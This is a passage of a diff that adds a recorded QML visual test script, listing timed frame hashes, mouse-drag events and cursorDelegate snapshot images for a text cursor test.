+ hash: "5ad1ab34572f9ef339774134bc0ab407" + } + Frame { + msec: 3920 + hash: "a4f68f6ee46642e7cc5a542b9f8a2464" + } + Frame { + msec: 3936 + hash: "fce95d18a0efee74554209ca39637062" + } + Frame { + msec: 3952 + hash: "1587fc2668f1f44e76f252bfd75f2708" + } + Frame { + msec: 3968 + hash: "e0a6eb42de552281e297ca5c50c1df23" + } + Frame { + msec: 3984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4064 + hash: "e0a6eb42de552281e297ca5c50c1df23" + } + Frame { + msec: 4080 + hash: "1587fc2668f1f44e76f252bfd75f2708" + } + Frame { + msec: 4096 + hash: "fce95d18a0efee74554209ca39637062" + } + Frame { + msec: 4112 + hash: "a4f68f6ee46642e7cc5a542b9f8a2464" + } + Frame { + msec: 4128 + hash: "5ad1ab34572f9ef339774134bc0ab407" + } + Frame { + msec: 4144 + hash: "37ec2ed29006575e8bd41a1989b75e27" + } + Frame { + msec: 4160 + hash: "d26d71b1c03fb21550820dd1586a7a8e" + } + Frame { + msec: 4176 + hash: "47942253c07fd39894445ff5e5b9608c" + } + Frame { + msec: 4192 + hash: "a62f1cbf43da0381c7c9099d47ded882" + } + Frame { + msec: 4208 + hash: "44b195297acd1bf59e43751df8dc1c1d" + } + Frame { + msec: 4224 + hash: "85f33f1bf1b1e11be450ab85bf6dab3d" + } + Frame { + msec: 4240 + hash: "546cec655631b5802eb4d7008093eb69" + } + Frame { + msec: 4256 + hash: "96d3bd62d4a0bf39a672b97fcc050bd5" + } + Frame { + msec: 4272 + hash: "ab5eb4750139875586a346b1c3a84f42" + } + Frame { + msec: 4288 + hash: "5dc2129cac6e667d39da3304a37a76f2" + } + Frame { + msec: 4304 + hash: "4d9dd9e515a21478cb3364032acf8c15" + } + Frame { + msec: 4320 + hash: "2e6dd79fc23acbf710e757f3d0999ab8" + } + Frame { + msec: 4336 + hash: "aec9683f3a677dab781bdf3bbf7cce5e" + } + Frame { + msec: 4352 + hash: "63c6a7810dec832f1b8288807f1d932a" + } + Frame { + msec: 4368 + hash: "70409eeee50fbb54097a3c430e1e1f21" + } + Frame { + msec: 4384 + hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" + } + Frame { + msec: 4400 + hash: "26e88aae512304c28d425c311febce1b" + } + Frame { + msec: 4416 + hash: "63dc16e66def35abba5159d5650f165d" + } + Frame { + msec: 4432 + hash: "479f192c8cf7b8e4407655382402700f" + } + Frame { + msec: 4448 + hash: "4a8efcc341bba9ba621ce0f785a75432" + } + Frame { + msec: 4464 + hash: "a9911e076af337fe30e322f03d84a528" + } + Frame { + msec: 4480 + hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" + } + Frame { + msec: 4496 + hash: "313a06d40274e46453342e66236f09f8" + } + Frame { + msec: 4512 + hash: "907c6363d1e524f391d001944febe1ac" + } + Frame { + msec: 4528 + hash: "84cad44c4cccf8a0942865719d05c2eb" + } + Frame { + msec: 4544 + hash: "60d24c160adb8e074c04d4f40bf140a8" + } + Frame { + msec: 4560 + hash: "ff5fac70804eb01da28c2988aba520a4" + } + Frame { + msec: 4576 + hash: "a6bdf56b4f8783969935488e1955e59c" + } + Frame { + msec: 4592 + hash: "d0ad97647c5092a64426187406ec5316" + } + Frame { + msec: 4608 + hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" + } + Frame { + msec: 4624 + hash: "0285340a2e03568810a76d840369f5c8" + } + Frame { + msec: 4640 + hash: "6ba6a1a05c5a9ec0d2897b3454affd09" + } + Frame { + msec: 4656 + hash: "3caa36cc3857803248d12ec09ea357df" + } + Frame { + msec: 4672 + hash: "500f7b72acc877fc1662e4f4ceb090e1" + } + Frame { + msec: 4688 + hash: "aadc71923926885ccce87e6be1c742d7" + } + Frame { + msec: 4704 + hash: "9b7503189ecf2999934716f227469463" + } + Frame { + msec: 4720 + hash: "874296e182abe96e58f9c0463a0f32c9" + } + Frame { + msec: 4736 + hash: "4262c79b6844d4d62aa9fb02c335fb95" + } + Frame { + msec: 4752 + hash: "a5862eaf12cc342054fd3f8d1f4c91c3" + } + Frame { + msec: 4768 + hash: "0034ef8851c9810ed5d50496aea367da" + } + Frame { + msec: 4784 + hash: "24cebf60ade86469a154abaa64f3b40d" + } + Frame { + msec: 4800 + image: "cursorDelegate.4.png" + } + Frame { + msec: 4816 + hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" + } + Frame { + msec: 4832 + hash: "5c1000fdc279742cbe46987045c0a92b" + } + Frame { + msec: 4848 + hash: "bcef4a0ff72330f05f2bf5042e414fde" + } + Frame { + msec: 4864 + hash: "228551c38b567f1550b44f9dac08786b" + } + Frame { + msec: 4880 + hash: "531c5ca6992c4a12927c61e22c02dd6b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 130; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4896 + hash: "14b328c8ec6276e022643102af80fa44" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 130; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4912 + hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 131; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4928 + hash: "df6f025130dc82f4764def81cec5fa7b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 132; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4944 + hash: "cf467854dfde9b2111bc6e7e4442aab5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 133; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 134; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4960 + hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 135; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 136; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 137; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 139; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 141; y: 100 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 143; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5072 + hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5088 + hash: "cf467854dfde9b2111bc6e7e4442aab5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 149; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5104 + hash: "7643fcfb740d33b87915300684e85a44" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 150; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5120 + hash: "1bd041a5e8d2237b51720fed82250303" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5136 + hash: "1a00c9d3ce747e3bc7ee5878d21260b4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5152 + hash: "803896c1be68588ba2cddd7effbb8d62" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 153; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5168 + hash: "282ab572698088fba3aba8e6a091aa38" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5184 + hash: "24402d9e4fabd78bc8f3921db82e554e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 98 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5200 + hash: "39a89e9ca7c4edd9c8503927d639df0f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5216 + hash: "b984b7d032544acd4dab8901e0af1ef5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 158; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5232 + hash: "e014414626407b0446939ad2ce38b7dd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 98 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 161; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "beccb93613279e2f48507ddc9a4418e8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5264 + hash: "dd861f8dc89587301e860217fdf2a701" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 164; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5280 + hash: "1ae0b7a18a7d3ebe4871a0045005e2b7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5296 + hash: "071e1f8bcc0e541b23d134f32c19d20b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5312 + hash: "e8ce2716f4595bc5bf68c24c8a63bbfe" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5328 + hash: "d36a35503af76b12fe5cec65e3f22eda" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 178; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5344 + hash: "cea0f90a56fd5789b3e166f09f2bfcec" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 179; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5360 + hash: "151f5357d9c1a3f1fe09380a287abab0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 180; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5376 + hash: "bdab9d7077734087cb7f9516e9c517bc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 182; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5392 + hash: "6d6d929a7c7be1d2e7d1b2f98a6866be" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 185; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5408 + hash: "3fbe3f45afc5aa40fff7f795ced8a05d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5424 + hash: "b35b4dc480aeb76912d927b0ff8676c6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 189; y: 93 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5440 + hash: "94e82e888280f20cce3ac38b353b79f4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 192; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5456 + hash: "4674fbd35e467bed780a5ea2fe2e258b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 194; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5472 + hash: "698827bfa7ff2eae6b0e0efa99bb15bb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 196; y: 92 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 198; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5488 + hash: "67c7adef5e41481d631f54d34423b93d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5504 + hash: "097512c005127fa3ebfcbc52808264a8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 91 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5520 + hash: "ad64b5913350e6c6fda199ecb34278f4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 91 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 201; y: 90 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5536 + hash: "3237e88e0f40595d2fde62723c00b7fa" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 202; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5552 + hash: "18db89296849f22a7af0a1ffc9762a32" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 203; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5568 + hash: "7f6ac84baaa2c5fcd22ba45172611840" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 204; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5584 + hash: "7b887d3aa44229d9f25fdde8f5ccf471" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 207; y: 86 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 208; y: 85 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5600 + hash: "b0c08726d0f2a460d5862cd2d7ee6230" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 85 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5616 + hash: "d99389a3287d453b942f070d8c1e86e8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5632 + hash: "a0751fa826b03cb25e615c6a1435d92a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 84 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 214; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5648 + hash: "f33da88ae881c846bd86ab3dc4f12efc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5664 + hash: "7049bee9a984a2c2d3101eb6d3cce31e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5680 + hash: "72757a5099748b70241a0d4279e42313" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 84 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5696 + hash: "705feb098ebb2d689526d9271098d6b5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5712 + hash: "49de92770edb0aae82cf66ae42b31caa" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5728 + hash: "70fe89f9dce556ec1859f325aa27b7db" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 85 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 86 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 86 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5744 + hash: "1ededcc625a0e9e317c5aefc238a175a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 221; y: 87 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5760 + image: "cursorDelegate.5.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 87 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5776 + hash: "f1ae53071836512830f7284c4ac884b3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5792 + hash: "f73c2b66b61bdcb080f8be6607079729" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 224; y: 90 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5808 + hash: "11da14806fbca5c7cd559286fb5d70ff" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 226; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5824 + hash: "b3ad82e900925227fb020009ae619d28" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 228; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5840 + hash: "d8cea4160f0044b09e595610ead01879" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 229; y: 96 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 231; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5856 + hash: "bdd0d1bea8590b40cdce2fb45e17901b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5872 + hash: "007a5d123eea589264e22f862f1bcac6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5888 + hash: "3a83635e8371f3e26baf83c285b7801d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5904 + hash: "6615931007ab0f9da070b6316068ad12" + } + Frame { + msec: 5920 + hash: "be695ab0dced25c1c498d977fc822cef" + } + Frame { + msec: 5936 + hash: "46dea7348473bc6ce4ea696292e5aae0" + } + Frame { + msec: 5952 + hash: "23ce0ba723ffe4253610fdc635df9ae2" + } + Frame { + msec: 5968 + hash: "9d6243396fd98b7efd14ae8a67297e79" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 233; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 232; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 231; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 230; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 229; y: 99 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 228; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 227; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "be488252ce6c39317c33706f7febe7b5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 225; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 224; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "58e53a9cb886d6d90c0b5987d0693904" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 102 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "bea9d0338212c01474b25ee637aa8fd0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "b509c0cdea6b1352ff1e146a8f243820" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "9c968354773878009af2f176b1e38d42" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 102 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "d8cea4160f0044b09e595610ead01879" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6208 + hash: "b3ad82e900925227fb020009ae619d28" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 210; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6224 + hash: "11da14806fbca5c7cd559286fb5d70ff" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 208; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 207; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6240 + hash: "707f51caadf24d3ed88b69c290d56971" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 206; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6256 + hash: "c23b2afed7fa0e3dbce1183cf8e8d724" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 205; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6272 + hash: "653b2e2d711c1abc1893d0068f4c531c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 204; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 203; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6288 + hash: "246a73b19421f0ea8ec444429bd6704e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 202; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6304 + hash: "3878df64c0cecb2051e04dafe16ad407" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 201; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6320 + hash: "1cf92a793a4d145acce08c61cca3ba4f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 103 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 199; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6336 + hash: "6c5f70c941a04172aae855eed1516971" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 102 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6352 + hash: "5f4b8d6ad49de0ea1a2ee057e783b363" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 196; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 194; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6368 + hash: "dc185cf4a14801d7bcc24ceadffe312b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 188; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6384 + hash: "6934c069d1b7daf1c2dd76739941c7c2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6400 + hash: "415510947b49a08459523fa2221d3609" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 185; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6416 + hash: "9586619df75f07cc1f01201abd0f1f43" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 182; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6432 + hash: "d016b14c9d5e5cd2545f1c85aa1edc4f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6448 + hash: "4100837adeaf1557534f5c243eeacc37" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 171; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6464 + hash: "a9351f624dc7de55ca8e799cf4371e75" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6480 + hash: "8f2f9ba7de4e01767dda2c6d8f09e218" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6496 + hash: "fb9b7d7e1aa140efc7e39cbca7299d34" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6512 + hash: "eb1c2399d5779cc3382f02e69e5a31f1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6528 + hash: "3bd98dc8a8cfb7af8a5f2ab11f387065" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6544 + hash: "1eea9af6e5f359b96df86d56d74f8375" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 94 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6560 + hash: "74c68b948d8e1d3c716eba5f1a186464" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 153; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6576 + hash: "7103ecc0c21208d210938b0cd86fa4e2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6592 + hash: "187b7801be7cd9643c707016166fcb38" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 149; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6608 + hash: "571fe7704d5d95e91d4bd411ab00edf0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 96 + 